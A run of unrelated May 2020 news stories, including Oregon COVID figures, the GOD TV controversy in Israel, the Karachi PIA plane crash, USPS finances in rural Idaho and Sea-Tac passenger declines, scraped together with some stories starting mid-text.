Recoveries: The median recovery time for infected Oregonians is 20 days and goes up to 24 days for people who were hospitalized with the infection, according to new numbers released Tuesday.

Underlying conditions: The Oregon Health Authoritys most recent weekly report didnt include a list of underlying medical conditions most common among people who have died.

An earlier analysis by the health authority proved confusing, it said, because it was based on limited medical information. The list caused "unwarranted apprehension about which groups might be at greater risk of dying from COVID-19, the report said.

The health authority is now analyzing more complete medical information on the underlying conditions of hospitalized coronavirus patients and may include it in the future.

Cases in Oregon prisons: The Oregon Department of Corrections on Thursday reported a total of 148 cases among inmates so far, including one death. Positive cases have been reported at the Oregon State Penitentiary (115), Shutter Creek Correctional Institution (25), Santiam Correctional Institution (7) and Two Rivers Correctional Institution (1).

Nationwide: The U.S. has identified more than 1.5 million cases. Nearly 94,000 people have died.

-- Shane Dixon Kavanaugh; 503-294-7632

Email at skavanaugh@oregonian.com

Follow on Twitter @shanedkavanaugh

Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories
An evangelical broadcaster who boasted of miraculously securing a TV license in Israel now risks being taken off the air over suspicions of trying to convert Jews to Christianity.

The controversy over GOD TV has put both Israel and its evangelical supporters in an awkward position, exposing tensions the two sides have long papered over.

Evangelicals, particularly in the United States, are among the strongest supporters of Israel, viewing it as the fulfillment of biblical prophecy, with some seeing it as the harbinger of a second coming of Jesus Christ and the end of days.

Israel has long welcomed evangelicals political and financial support, especially as their influence over the White House has risen during the Trump era, and it has largely shrugged off concerns about any hidden religious agenda.

But most Jews view any effort to convert them to Christianity as deeply offensive, a legacy of centuries of persecution and forced conversion at the hands of Christian rulers. In part because of those sensitivities, evangelicals, who believe salvation can only come through Jesus and preach the gospel worldwide, rarely target Jews.

When GOD TV, an international Christian broadcaster, reached a seven-year contract earlier this year with HOT, Israels main cable provider, its application stated that it would broadcast Christian content for an audience of Israeli viewers in both Hebrew and English.

Image: Courtesy of GOD TV

In a video message that has since been taken down, GOD TV CEO Ward Simpson suggested its real aim was to convince Jews to accept Jesus as their messiah. The channel, known as Shelanu, broadcasts in Hebrew even though most Christians in the Holy Land speak Arabic.

God has supernaturally opened the door for us to take the gospel of Jesus into the homes and lives and hearts of his Jewish people, Simpson said in the video.

Theyll watch secretly, theyll watch quietly, he added. God is restoring his people, God is removing the blindness from their eyes.

In a subsequent video, Simpson acknowledged that the channel was under investigation by Israeli authorities, saying that preaching about Jesus in Israel is a very touchy subject. He apologized for any offensive remarks and said GOD TV would comply with all regulations.

The opposition to the channel apparently arose, not because of any content on Shelanu, but because of a poorly worded fundraising video, stated GOD TV in a press release.

Freedom of religion is enshrined in Israeli law, and proselytizing is allowed as long as missionary activities are not directed at minors and do not involve economic coercion.

The Communications Ministry said it was investigating a discrepancy between the application for the license that was granted in March, which said the channel was focused on the Christian community, and its actual content, which appears to target Jews and convince them that Jesus is the messiah.

HOT said in a statement that it was not responsible for the channels content and has been fully transparent with authorities.

GOD TV was founded in the UK in 1995 and eventually grew into a 24-hour network with offices in several countries. Its international broadcasting licenses are held by a Florida-based nonprofit. It claims to reach 300 million households worldwide. Simpson was among the participants at the high-level Christian Media Summit hosted by Israel last year, where Haaretz reports he introduced Israeli President Reuven Rivlin.

Simpson denied trying to convert Jews to Christianity. He said Jews who accept Jesus as the messiah can continue to practice their faith, a reference to Messianic Jews.

The Messianic movement, which emerged in its modern form in the 1970s, incorporates Jewish symbols and practicesincluding referring to Jesus by his Hebrew name, Yeshuabut is widely seen as a form of Christianity. All major Jewish denominations reject it, and Israel considers Messianic Jews to be converts to another faith.

Messianic Jews in Israel push back against the accusations.

In Israel and in Jewish circles, conversion is a loaded word. It is understood as leaving something to become something else, said Lisa Loden, co-chair of the Lausanne Initiative for Reconciliation in Israel-Palestine.

Messianic Jews avoid the term, and maintain that they remain fully Jewish when accepting Yeshua as Messiah and Lord, she said. But the average Jewish Israeli does not distinguish between Jews who believe in Jesus and Christians.

GOD TVs new Hebrew channel surprised many of us Israeli believers, said Dan Sered, the Tel Aviv-based chief operating officer of Jews for Jesus. It is my hope that the opposition [Shelanu] is getting will be met with reason as it goes to the courts.

Sered told CT that very few Israelis watch Christian TV; however, Christian support for Israel as well as tourism are bolstered through this medium and I applaud that.

Both sides in the conflict are sincere, suggests Mitch Glaser, president of New York City-based Chosen People Ministries.

GOD TV is attempting to honestly state what they are doing, he said. The religious Jewish people opposed to its Hebrew programming are trying to protect secular Jewish people from becoming converts, and therefore lost to the Jewish community.

Many Messianic Jews, however, are rejoicing at the opportunity to demonstrate their sincerity (of still belonging to the Jewish community) to their fellow Israeli citizens. Shelanu has stated 70 percent of its content will be locally produced.

Image: Courtesy of GOD TV

And on a popular website for the community, some are even praising the amazing free publicity.

If the show was produced by a US or European Christian organization, the argument is very strong that the aim is conversion, said Jaime Cowen, an Israeli lawyer and former president of the Union of Messianic Jewish Congregations.

The reality is that Jews believe all kinds of different things and are subject to all kinds of programming that pushes various views.

This is a huge open dooras long as the government doesnt shut it down.

But this is exactly what one Christian Zionist has petitioned Israeli Prime Minster Benjamin Netanyahu to do, fearing that the GOD TV backlash will threaten Jewish-evangelical cooperation.

In recent decades, millions of Christians have felt the call to stand with the State of Israel and the Jewish people with no hidden agenda, said Laurie Cardoza-Moore, a Tennessee-based evangelical who hosts a program called Focus on Israel that previously aired on GOD TV.

Any attempts to convert Jews or downgrade their religion will only sow undue hatred at a time when we should unite in the face of darkness, she said.

Similar was Malcolm Hedding, the former executive director of the International Christian Embassy Jerusalem, an umbrella group for Christian Zionists. He said Christians only share their faith when asked, and denied they have any secret agenda.

Evangelical support for Israel is not based on prophecies but on promises that God gave to Abraham 4,000 years ago, he said. We cannot, and should not, let the arrival of a TV channel in Israel impact negatively on the well-being of a movement that for decades now has brought about a new day in Jewish Christian relationships.

Daniel Hummel, the author of a book on evangelicals and Israel, says Christian Zionists have more or less learned that Messianic Judaisms presence in the movement is politically unwise.

Such statements prompted a strong rebuke from Michael Brown, Messianic Jewish host of a nationally syndicated daily talk radio show, Line of Fire.

In an op-ed for the Christian Post, he wrote that given the terrible history of church-related anti-Semitism, he respects that some Christian Zionists have pledged not to proselytize in their support of Israel.

Just dont become an enemy of the gospel.

I urge you with all my heart: Please do not oppose us as we share the water of life with our thirsty people, he wrote. Please do not withhold from them the very message that brought you salvation.

To do so would be an act of utter cruelty towards the people you love so much.

Regardless of the new channels fate, Sered at Jews for Jesus hopes any legal ruling wont have implications for Hebrew-language gospel content online. The internet has brought a lot of Israelis to view and be challenged by the message of Yeshua.

However, he said, the greatest effectiveness for conveying the message of Jesus is in the hard work of one-on-one discipleship. .. Our staff here in the land are Israeli men and women who have served in the army, grown up in Israeli schools, and can speak firsthand about the truth of gospel. Nothing is more powerful.

Simpson says GOD TV has hired lawyers to resolve the issue and is determined to stay on the air.

The last thing we want to do is to cause division over there, he said. We love Israel.

And while praising Israel for its commitment to religious freedom in his most recent video update, Simpson urged GOD TV supporters to not let the investigation deter them from blessing the nation.

[I] assure the Israeli authorities and citizens alike, that GOD TV is your strong ally and your friend, he said. We along with hundreds of millions of Christians around the world stand with you as your voice, as your advocate, and as your watchman on your walls.

AP reporting by Joseph Krauss. Additional reporting by Jayson Casper and Jeremy Weber.

Correction: An earlier version of this story stated that Shelanu presented itself as producing content for Christians, whereas its approved application states that it would broadcast Christian content for an audience of Israeli viewers in both Hebrew and English.
Japan launched a rocket Thursday carrying a Kounotori unmanned cargo vessel, developed by the national space agency, on its final mission to transport supplies to the International Space Station (ISS).

The H-IIB rocket carrying the Japan Aerospace Exploration Agencyas Kounotori 9 lifted off at 2:31 a.m. from the remote Tanegashima Space Center in Kagoshima Prefecture.

Fifteen minutes later, the Kounotori was detached from the rocket and put into a planned orbit. The cargo vessel, which can hold up to 6 tons of supplies, has been launched successfully in all nine of its missions dating back to 2009.

The launch was the last for both the Kounotori, which means astorka in Japanese, and the H-IIB rocket, developed by Mitsubishi Heavy Industries Ltd.

aWe would like to proceed with each and every task, and round off its final mission with a triumph,a said Keiji Suzuki, a member of the heavy machinery makeras space program, during a virtual news conference Tuesday.

The cylindrical cargo transporter carrying food, equipment for experiments and other provisions is scheduled to dock at the space station on May 25, according to the Japan Aerospace Exploration Agency (JAXA).

The space agency and Mitsubishi Heavy took extra precautions so as not to carry the new coronavirus to the island where the launch took place. Tanegashima, which has not yet reported any infections, has a population consisting largely of elderly people, and only limited medical facilities are available.
Love Island Australia star Margarita Smith has been staying at home as the coronavirus pandemic rages on.

And in an Instagram post on Friday, the 26-year-old reminisced of a sizzling Melbourne summer.

The brunette bombshell shared a throwback photo of herself posing in the skimpiest of bikinis, while perching her frame on the step of an luxurious poolside patio.

That'll get the likes! Love Island's Margarita Smith, 26, flaunted her bust and tiny waist in a throwback bikini photo posted to Instagram on Friday

Margarita drew attention to her eye-popping cleavage, tiny waist and lean legs in the scanty yellow swimwear.

She allowed her long tresses to cascade down her back in soft waves, and gazed seductively at the camera.

Margarita's makeup included kohl eyeliner and a natural colour on her plump pout.

The influencer wrote in the caption: 'Throwback to Melbourne summer. I will never understand how some people like the cold. Are you a summer or winter person?'

For the fans: Just last month, the stunner proved that isolation doesn't have to be boring, by showing off some of her favourite fashion looks on Instagram

Meanwhile, last month, Margarita proved that isolation doesn't have to be boring.

In a raunchy try-on video shared to Instagram, the stunner paraded around in a number of skimpy outfits in her apartment.

Margarita began by donning a high-cut mustard top, which she paired with denim short shorts.

Icy: Margarita then showed off her figure in a skin-tight ice blue minidress

'I love crops, I honestly wear them every day, I also try to get away with wearing them through winter,' she said, readjusting the skimpy top.

The beauty then changed into a blue minidress, once again showing off her frame.

Margarita rose to fame after starring on season two of Love Island Australia in 2019.

She has since become a popular social media influencer and brand ambassador.
After starting over 250 points lower, the Sensex made a U-turn to rise over 70 points to 31,005.19.

Shares tracked world markets lower on Friday, led by metals and mining stocks, as new US-China tensions raised doubts about a trade deal between the worlds two largest economies.

Sensex pared opening losses to turn positive in early trade on Friday amid gains in index-heavyweights Reliance Industries, Infosys and SBI.

After starting over 250 points lower, the 30-share index made a U-turn to rise over 70 points to 31,005.19.

The index, turned choppy in the first hour of trade ahead of Reserve Bank of India''s press conference, scheduled for 1000 hours.

NSE Nifty was quoting 4.35 points or 0.05 percent lower at 9,101.90.

Reliance Industries Limited (RIL) on Friday announced that private equity firm KKR will invest Rs 11,367 crore in Jio Platforms for a 2.32 percent stake. This is the fifth big-ticket deal announced by the oil-retail-to-telecom conglomerate in the past month.

This transaction values Jio Platforms at an equity value of Rs4.91 lakh crore and an enterprise value of Rs 5.16 lakh crore. This is KKRs largest investment in Asia and will translate into a 2.32 percent equity stake in Jio Platforms on a fully diluted basis, RIL said in a release on Friday.

The RBI governor held a press conference at 10 AM. He announced a cut in repo rate by 40 bps to 4 percent. However this failed to cheer the market as indices continued to stay in the red.

Sensex fell 125.05 points or 0.40 percent to 30,807.85 while the Nifty was down 35.35 points or 0.39 percent at 9,070.90 at around 10.10 AM.

Tata Steel, HCL Tech, PowerGrid, Axis Bank, HDFC and Bajaj Auto were the top losers in the Sensex pack.

The major gainers were Ultra Cement, Infosys, Asian Paints, Tech Mahindra and SBI.

#CNBCTV18Market | Indices hovering around flatline after opening lower; Street awaiting outcome of the @RBI governor's address. STAY TUNED for LIVE coverage & detailed analysis of the announcement #RBIActs pic.twitter.com/ze9xxA31ip  CNBC-TV18 (@CNBCTV18Live) May 22, 2020

Manish Hathiramani, Index trader and technical analyst, Deen Dayal Investments, said, "The markets are consolidating around its support range of 9020 - 9050. If it can sustain at these levels, it would attempt to reach 9200. However, if it fails to hold 9020/9030, it can slide to 8930. For now, the bias is toward the upside.

Buying in Reliance Industries offset the negative sentiment in the market as the scrip jumped over 1 per cent after the company announced the sale of a 2.32 per cent stake in its digital unit to US private equity giant KKR for Rs 11,367 crore.

This the fifth deal in four weeks that will inject a combined Rs 78,562 crore in the oil-to-telecom conglomerate to help it pare debt.

UltraTech Cement, SBI, Infosys, Tech Mahindra were among the other gainers.

On the other hand, Tata Steel, HCL Tech, PowerGrid and NTPC were among the laggards.

In the previous session, the BSE barometer settled 114.29 points or 0.37 per cent up at 30,932.90, while the broader Nifty advanced 39.70 points, or 0.44 per cent, to 9,106.25.

Foreign portfolio investors offloaded equities worth Rs 258.73 crore in the capital market on Thursday, provisional exchange data showed.

Besides stock-specific action, investors are cautious ahead of Reserve Bank of India''s announcement, traders said.

Further, weak cues from global markets and spiking COVID-19 cases in the country hit investor sentiment, they added.

India witnessed the biggest single-day spike with 6,088 COVID-19 cases, taking the tally to 1.18 lakh. The death toll rose to 3,583, according to the health ministry.

Globally, the number of cases linked to the disease has crossed 51 lakh and the death toll has topped 3.32 lakh.

Bourses in Shanghai, Hong Kong, Tokyo and Seoul were trading significantly lower.

Hong Kong led a sell-off across Asian equities after China introduced proposals to enact a national security law for the city.

Stock exchanges on Wall Street ended with losses in overnight session.

International oil benchmark Brent crude futures were trading 3.72 per cent lower at $34.72 per barrel.
(Newser)  Matt Lauer, perhaps emboldened by the act of going public with his long list of complaints about Ronan Farrow, on Wednesday let his new tattoo show. In a photo obtained by Us, the former Today co-anchor is seen driving in New York with the phrase "Hatred corrodes the container its carried in" inked in cursive on his right forearm. The phrase was uttered by former senator Alan Simpson at George HW Bush's funeral in 2018. USA Today has the full quote:

"So the punch line for George Herbert Walker Bush is this. You would have wanted him on your side. He never lost his sense of humor. Humor is the universal solvent against the abrasive elements of life. That's what humor is. He never hated anyone. He knew what his mother and my mother always knew. Hatred corrodes the container it's carried on."

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Us notes that the 62-year-old had previously spoken about maybe wanting a tattoo. While still employed with NBC News, Lauer in July 2014 said he was "on the fence" about getting one during a discussion on Today, spurring the trending Twitter hashtag #MattTattooYes. Vanity Fair seems to think he wanted the tat unveiled, considering the "convenient poses" he was holding while being photographed. The body art spurred the Los Angeles Times to challenge readers to "try not to roll your eyes" upon seeing it. In other Lauer news, Brooke Nevils, the woman whose rape accusation Lauer denies, tweeted in response to his column about Farrow, "DARVO: Deny, Attack, Reverse Victim and Offender." (Read more Matt Lauer stories.)
The plane with 99 passengers and crew members crashed on May 22.

Ukraine's Embassy in Pakistan is checking if there are Ukrainian citizens among the victims of a plane crash in the city of Karachi on Friday.

"Our embassy in Pakistan is checking if Ukrainian citizens were on board the crashed airliner," Director of the Consular Service Department of Ukraine's Ministry of Foreign Affairs Serhiy Pohoreltsev told UNIAN in a comment.

Read alsoU.S. pulling out of Open Skies treaty

As was reported, a Pakistan International Airlines (PIA) plane with 99 passengers and crew crashed into a residential area of the city of Karachi on Friday, with many feared dead, Reuters said.

The jet, which tracking website FlightRadar24.com identified as a 15-year-old Airbus A320, was flying from the eastern city of Lahore to Karachi in the south just as Pakistan was resuming domestic flights in the wake of the coronavirus pandemic.

One senior civil aviation official told Reuters it appeared the plane was unable to open its wheels due to a technical fault prior to landing, but it was too early to determine the cause.
A pastor in Baltimore, Maryland, tore a cease and desist letter in front his congregation on Wednesday after he was ordered by local officials to stop hosting in-person services during coronavirus lockdowns.



Governor Larry Hogan said last week that places of worship could reopen at 50 percent capacity. However, hundreds of members of Calvary Baptist Church attended a service officiated by Pastor Stacey Shiflett's last Wednesday.



The following day, Baltimore Council Executives decided against it on a local level, and put Pastor Shiflett in violation of Baltimore County Department of Health and Human Services' rules.



Also, Baltimore Mayor Jack Young limited religious and spiritual gatherings to just 10 people.



On Tuesday, May 19, Pastor Shiflett announced on social media that he received a threat of a $5,000 fine.



In spite of the threat of a fine, on Wednesday night, May 20, he returned to the church where he tore a cease-and-desist letter from local officials in front of his congregation.



"Pharaoh doesn't get to dictate to God's people how they worship their God," Pastor Shiflett began in the video. "God's that one that defines the perimeters, God's the one that communicates his will and his plan for his church, not Egypt."



He added: "With this cease-and-desist letter in my hand, the Bible says to the New Testament church 'not forsaking the assembling of yourselves together as the manner of some is, but so much more as you see the day approaching,' and the closer we get to Jesus coming back, the more church we ought to be having, not less church,' he said at a Wednesday church service, before ripping the piece of paper.



"Now that's God's parameters. So I'm tearing up this cease-and-desist order right here, and I'm telling you right now, we're gonna do it God's way! God tells us how to worship Him, nobody else gets to do that."

VIDEO-













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What this particular move is doing to him politically is that he's bringing him and the country actually into quite a sort of dangerous area in relations with the Russians, said Yauheni Preiherman, director of the Minsk Dialogue Council on International Relations. Its not like Belarus is turning away or anything, but all these moves by Lukashenko, they clearly make a lot of people in Russia angry.
CASTLEFORD  It takes only about four people to fill the Castleford post office  an unassuming square building smack in the center of the town of fewer than 300 people. Its not open long, just four hours from 9 a.m. to noon Monday to Friday, but it saves the residents of this tight-knit community the 20-minute drive to Buhl to send and receive mail and parcels.

But the COVID-19 pandemic threatens to change that. Low mail numbers and 13 years of consecutive losses totaling nearly $78 billion hit the self-funded government agency even before coronavirus, but the sharp plummeting of mail numbers during the pandemic means the postal service could run out of money by September.

This endangers nearly half a million jobs and millions more customers, especially those in rural communities who depend on the postal service for medications, important paperwork, ballots and checks.

If (the community) did not have access to USPS it would make things difficult for them, Kelsee Aagard, the postmaster for Castleford and Buhl, said. If we were to shut down Castleford everyone in this community would have to drive to Buhl for their mail.

Aagard is a 10-year employee of the U.S. Postal Service, who has been a carrier, a clerk and most recently a supervisor at the post office in Salt Lake City. Shes done it all and seen how the post office is vital to smaller communities, she said.

A 20-minute drive to Buhl or any larger community from a small town may not sound burdensome but can add up for those already traveling long distances for food, gas and other necessities. The need for mail delivery sometimes goes beyond picking up parcels in Buhl or Twin Falls for Aagards customers.

People cant always go to the (Veterans Affairs Office) in Boise all the time, Aagard said. Theyre getting medications delivered that they would have to travel for.

The United States Postal Service asked for an $89 billion bailout to cover lost revenue, update infrastructure and unrestricted borrowing authority, among other needs, which was met with mixed responses from Congress and chastisement from President Donald Trump.

As Congress and the Administration take steps to support businesses and industries around the country, Megan Brennan, the outgoing Postmaster General, said in a statement following the request. It is imperative that they also take action to shore up the finances of the Postal Service, and enable us to continue to fulfill our indispensable role during the pandemic, and to play an effective role in the nations economic recovery.

The statement also said that the Postal Service faces a net operating loss of more than $22 billion over the next 18 months and $54 billion in long-term losses.

The president threatened to veto the entire $2 trillion Coronavirus Aid, Relief, and Economic Security Act  also known as the Cares Act  in emergency funding if it contained relief for the Postal Service. The package originally contained a $13 billion grant for the Postal Service, which has since changed to a $10 billion loan from the Treasury Department that is pending approval.

President Trump said the loan would not be approved unless the Postal Service raised its shipping prices for big shippers like Amazon by about four times the current rate.

While support for the presidents plan is generally divided along party lines, Idaho lawmakers have yet to comment on the issue. Idaho State Sen. Bert Brackett, who lives 45 minutes outside of Rogerson, said that his constituents have bigger things to worry about, but a reduction in mail service would put a strain on the communities he represents.

We, for the most part, have accepted it and worked with it, Brackett said of his community receiving mail only three times a week. (Losing service) would worry us a lot. That would bring such a hardship to this community.

For Twin Falls Countys southernmost communities, the closest post office is in Jackpot, Nevada, as opposed to Twin Falls, which is 60 miles away.

Services like the United Parcel Service and FedEx dont often serve communities like Three Creek or Castleford and rely on the local post office to provide last mile service for packages mailed through such private services to reach their final destination. UPS leaves about 75 packages a day with the Buhl post office to reach smaller surrounding communities, Aagard said.

The Postal Service Western Area, which services Idaho, Utah, Nevada and 11 other states, could not comment on the status of the federal loan or the potential fate of the Postal Service, but it maintained that it is a vital service for millions of Americans.

When you spread a map out in front of you and look at all those dots, we serve every one of them, David Rupert, manger of strategic communications for the Western Area, said in a phone interview. We connect America. We are the ultimate equalizer.

Whether youre urban, suburban, rural, unincorporated, rich or poor, everyone gets the same great service.

A local post office can also serve as a community center for residents who may not often see each other in areas where homes are spread out. Aagard said customers at the Castleford office meet and dont want to leave when they see a familiar face. Each year hundreds of postal workers alert authorities to danger, including spotting fires on their routes and finding injured people in their homes when carriers notice mail piling up, Rupert said.

(Our clerk in Castleford), shes a member of this community, Aagard said. She knows whats going on and how to help out.

While there may always be a way to receive mail and packages, Rupert said that only the extensive connectivity the Postal Service offers is unmatched.

For the price of a stamp, for two quarters and a nickel, you can reach every dot on that map, he said. And thats something only we can provide.

Megan Taros is a Times-News reporter and Report for America corps member covering the Magic Valleys Hispanic community and Jerome County. You can support her work by donating to Report for America at http://bit.ly/supportRFA.
Every time I picture a ski lift, my ankle twinges and my stomach drops. My knee and ankle have healed since last years accident, save for a residual creakiness, but the memory of that shock lingers in my body.

Now, I have the same visceral response when I see photos of the crowds across the country, wherever cooped-up people end up going. A shudder passes through me, in what seems like the opposite of FOMO (fear of missing out)

Instead, its the fear of being in the thick of it  the horror of being around other people. After all my yearning to see friends and family, it feels paradoxical.

The first phase of sheltering in place, though an immense hardship in many ways, at least had clarity. Stay home! Stay home! Stay home! As restrictions have eased in different locales, were entering a frightening gray area.

Compliance around social distancing and face coverings may grow lax at best. At worst, those fed up have violently lashed out. In Michigan, a Family Dollar security guard was gunned down after he told a customer to put on a mask, and a store clerk broke his arm in Los Angeles trying to enforce a mask policy. The reports go on.

Like many, I worry that the weeks we sheltered in place  the peril placed on frontline workers and the shattered economy  might all be for naught if the disease returns to where we began in mid-March.

For now, for a while longer, it feels safer to stay closer to home, even as this weekend marks the unofficial start of summer with Memorial Day. With health officials still discouraging nonessential trips, the American Automobile Association is predicting a record-low volume of travelers this holiday weekend.

Its possible to find pleasures closer to home, with our family recently venturing out on off-peak days and times. One morning, after Didi and Gege finished their homework, we drove to Brentwoods G&S Farms (which takes reservations) and picked bright-red Tioga cherries. Juicy and sweet, every bunch resembled a slot machines jackpot spin. It also served as a field trip of sorts to illustrate a recent science lesson on seeds and plants.

Early on Sunday, after the rain stopped, we walked along Crown State Memorial Beach in Alameda, the whipping wind and the frothy waves glorious. The boys kicked off their boots and waded in, quickly soaking their rolled-up pants.

On each jaunt, we came prepared with masks, wipes and hand sanitizer, and we stayed far apart from others.

Still, I wonder whats going to happen in the weeks ahead. Will a wave of outbreaks re-emerge, affecting the most vulnerable in our communities? Or will the coronavirus simmer all summer and explode again, outpacing attempts at treatments or a vaccine?

I want to go to New York, Gege said, pining for the spring break trip that we postponed. He wants to visit the countrys first pizzeria, which he learned about from an educational program we put on while my husband and I scrambled to get work done; hearing him repeat the fact made us feel slightly less guilty.

Its the uncertainty that eats at us.

The first month our country retreated  in an effort to buck up  many people cheerily posted their sourdough loaves, shallot pasta and other dishes online, accompanied by the chipper hashtag #coronaviruscooking.

Now, as the pandemic has gone on, its just  cooking. We dont need to qualify it as something new. Its what life is, the endless present in which plans beyond next week are hazy.

Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts.

New parents often ask, When will it get easier? To which my husband and I heard  and to which weve answered, It doesnt get easier. Its just different.

So too with the pandemic.

I hope this ends by August, Didi told me. Hell turn 9 then and wants to celebrate with friends and family. Much as I wanted to, I couldnt promise that to him. But I vowed wed keep him and his brother safe.

Sixteen years ago, on our honeymoon in Spain, my husband and I visited the Sagrada Familia in Barcelona, marveling at the architecture, which has the surreal look of melted candle wax. Construction of Antoni Gaudis masterpiece was slated to be complete in 2026.

Standing there, we promised ourselves wed return with the kids we didnt have yet, who were still only a dream.

Construction has been halted since mid-March and will not resume until it reopens to visitors. Eventually, I hope my family will visit this testament to Gaudis vision, reminding us that fanciful dreams can endure.

Vanessa Hua is the author of A River of Stars. Her column appears Fridays in Datebook. Email: datebook@sfchronicle.com
SEATAC  The Seattle-Tacoma International airport saw 93.6 percent fewer passengers in April than it did in April 2019. The Port of Seattle says the number of fliers has fallen so low, they haven't had this few passengers since 1967, a 53-year low.

The coronavirus pandemic has resulted in fewer flights as well. In April Sea-Tac averaged around 400 takeoffs and landing each day, a decrease of 65.9 percent.

Air cargo has also seen a hit, but not a stark as the drop in passengers. This April Sea-Tac handled 9.6 percent less freight and mail than it did in April of last year, though that's largely due to changes internationally: domestic air cargo actually increased 4.7 percent, but international cargo fell 45.1 percent in return.

As the airport endures the record-low number of passengers, they've launched an online dashboard tracking just how ridership has fallen. The website can be used to look at real-time data on the number of passengers, flights, roadway traffic, and how they compare to this time last year.

Port of Seattle

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There have been some slight signs of recovery, however. The Port of Seattle says that over the last week, they saw 5,500 fliers a day. That's more than double the passengers they had at their lowest low, when they saw just 2,600 passengers on April 12. The airport says forecasts are even more optimistic, and they've seen up to 8,000 passengers on some of the month's busiest travel days. They've still got a long ways to go though: in May 2019 an average day saw 53,000 departing passengers.

The Port of Seattle says they are ready for more passengers to return to Sea-Tac and have put in place several new safety measures to prevent new transmissions of the coronavirus. Passengers, visitors and employees of the airport are required to wear face coverings at the airport, and Sea-Tac is regularly disinfected with medical-grade sanitizers. Hand sanitizer has also been placed around the terminal and plastic barriers have been installed where possible to create buffers between passengers and airport employees.

Story continues

Going forward, the airport says they plan to be able to enforce physical distancing in queues and seating areas by June 1, and temperature checks for departing passengers and arriving international passengers set up by June 9.

Sea-Tac's weekly dashboard can be found here.

Related news: Sea-Tac To Require Face Coverings Starting Monday









This article originally appeared on the Seattle Patch
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A Pakistan International Airlines (PIA) Airbus A-320, on a flight originating from Lahore, crashed into a densely populated Karachi neighbourhood near the airport on Friday afternoon and erupted into a fireball, killing most of the 107 passengers and crew on board, but leaving at least three confirmed survivors.

Rescue workers scoured the wreckage of the aircraft and sifted through gutted and damaged buildings in the neighbourhood looking for more likely survivors or bodies, including of residents who may have perished.

The aircraft, which made two approaches ahead of landing, initially reported a problem with its landing gear. On its second approach, the pilot informed air traffic control that the planes engines had failed.

He then gave the distress Mayday call as the aircraft veered off its flight path and descended rapidly into the Model Colony neighbourhood before crashing, as seen on video footage shared by a person who captured it using his cellphone.

As the plane crashed into a row of houses, it erupted into a fireball that may have killed residents of the area. We are now focusing on rescue efforts so we dont know the exact death toll. But there have also been deaths of people who were in the houses that caught fire, said provincial minister of Sindh Nasir Shah.

Shah said that at this stage it was difficult to determine who may have been on board the plane or who may have been a resident of the area and died when the aircraft crashed.

By 8pm, at least 40 people were confirmed dead in the crash. This number is expected to rise as more bodies are extricated and brought to the citys hospitals.

In a purported recording of a conversation with the air traffic control (ATC), one of the pilot is heard saying he has lost both engines, before he issues a Mayday, Mayday, Mayday distress message. The recording was uploaded on liveatc.net, which compiles recordings of conversations between pilots and ATCs across the world from aviation hobbyists who can listen in to these through particular kinds of radio sets.

Local TV stations reported that three people sitting in the front row of the aircraft survived and showed video of a man on a stretcher they identified as Zafar Masood, the head of the Bank of Punjab.

One of the other survivors, Muhammad Zuabir, was admitted to a local hospital with burn injuries. He told journalists that prior to crashing, the plane had made two approaches to land.

Thick smoke swirled out of the Model Colony neighbourhood. At least four houses were completely gutted and 20 damaged in the crash. Model Colony is located next to the Malir Cantonment area from where military personnel were quick to arrive to start rescue operations.

Rescue workers were seen breaking down walls and physically moving cars in the densely populated street where the aircraft crashed to make way for rescue vehicles. Hundreds of people gathered in the area, hampering rescue efforts.

A spokesperson for the Pakistan Airline Pilots Association (PALPA) said the captain of the aircraft, Sajjad Gul, was one of the senior most pilots of the airline.

Aviation experts surmised that the crash may have taken place because the aircraft ran out of fuel on its second approach or had hit a bird. Civil aviation authorities told the media that they had prepared for a belly landing of the aircraft, which also suggested that the pilot may have jettisoned extra fuel prior to the second approach.

PIA officials have ruled out the possibility that the plane was not safe to fly. We are an international airline and we maintain international safety standards, a spokesman for PIA told the media.

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Cheong Wa Dae has no "conclusive" position on U.S. President Donald Trump administration's stated push for the Economic Prosperity Network, an official said Friday, reflecting Seoul's cautious approach toward the sensitive issue apparently involving China.







The initiative is understood to be "still in a planning stage" as part of various ideas on the economic sector from a global perspective, the official said.







"So, we have no conclusive answer to share with you," he said on the customary condition of anonymity.







The United States is accelerating efforts to sideline China from global supply chains amid deepening rifts between the two sides over the COVID-19 pandemic.







At the center of the campaign is the envisioned network called an alliance of "trusted partners." The U.S. has not formally named them, but it indicated that South Korea is among targeted ones.







Secretary of State Mike Pompeo said the U.S. is "working closely with Vietnam, South Korea, New Zealand, Australia and India."







Australia and India are members of the Quadrilateral Security Dialogue, also known as Quad, along with the U.S. and Japan.







The seven countries recently launched vice ministerial discussions on the coronavirus response.



Washington's move poses yet another dilemma for its longtime ally Seoul, which has close economic ties with Beijing.







It's reminiscent of a quandary over the Trump administration's India-Pacific strategy. South Korea has maintained a prudent stance, stating it is committed to harmonizing its New Southern Policy with the U.S. initiative and China's Belt and Road campaign. (Yonhap)


A vow from police to chase down drug traffickers in an inner-Melbourne suburb has led to almost 200 arrests in less than a year.

Increased patrols of officers on foot, bike and car in Richmond and surrounding areas have targeted the distribution of illicit substances in a suburb notorious for drug problems.

The old-fashioned police beat work resulted in police making 196 arrests for trafficking of hardcore drugs such as heroin since last July, North West Metro Commander Tim Hansen said.

A vow from police to chase down drug traffickers in an inner-Melbourne suburb has led to almost 200 arrests in less than a year

Increased patrols of officers on foot, bike and car in Richmond and surrounding areas have targeted the distribution of illicit substances in a suburb notorious for drug problems

The old-fashioned police beat work resulted in police making 196 arrests for trafficking of hardcore drugs such as heroin since last July

Richmond's drug notoriety has prompted police to cast a wide web across the area.

'It's unfortunately not something that's new to the area,' Mr Hansen said.

Opposition Leader Michael O'Brien said the number of arrests would not be a surprise to residents, blaming it on the drug safe injecting room established in North Richmond.

'This drug injecting room has been acting as a honey pot for drug dealers and drug traffickers,' he said.

'It's leading to all sorts of terrible antisocial behaviour in the area and it just demonstrates that the government did not get the location of this right.'

But Commander Hansen brushed aside those claims and said drug trafficking is a statewide issue, supporting the concept behind the trial injecting facility.

'We are also very much committed and understood that the drug supply in and around Richmond doesn't necessarily just come from Richmond,' he said.

Richmond's drug notoriety has prompted police to cast a wide web across the area

The police focus on 'criminals who prey on the vulnerable' also led to the arrest of nine men that were allegedly selling drugs from a pokies venue in North Richmond.

The arrests made from February to April are expected to have a flow-on effect in the area.

Three of the nine alleged heroin traffickers will appear at the Melbourne Magistrates Court on July 8, while two others will appear at the Neighbourhood Justice Court on the same day.
